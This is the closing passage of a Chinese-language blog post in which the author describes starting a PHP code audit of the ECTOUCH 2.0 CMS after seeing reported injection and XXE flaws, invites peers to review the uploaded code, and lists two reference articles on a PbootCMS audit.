挖掘這個cms的起因是在補天看到比較多的注入點還有個xxe但是不清楚版本,也不清楚是前臺還是后臺注入

當時腦子一熱找下了模版堂的安裝包,安裝過程的時候發現是ECTOUCH2.0版本的,

程序代碼我上傳到了githud地址:CodeCheck

希望師傅們有空可以審計下,指點下我,這個cms我會繼續研究和分析下去,也會繼續把文章寫下去

當作我學習php代碼審計一個起點。

0x8 參考文章

PbootCMS漏洞合集之審計全過程之一-網站基本架構

PbootCMS漏洞合集之審計全過程之二-了解系統參數與底層過濾情況

上一篇:“雙槍”木馬的基礎設施更新及相應傳播方式的分析

下一篇:銳捷網絡中標中國郵政集團云數據中心項目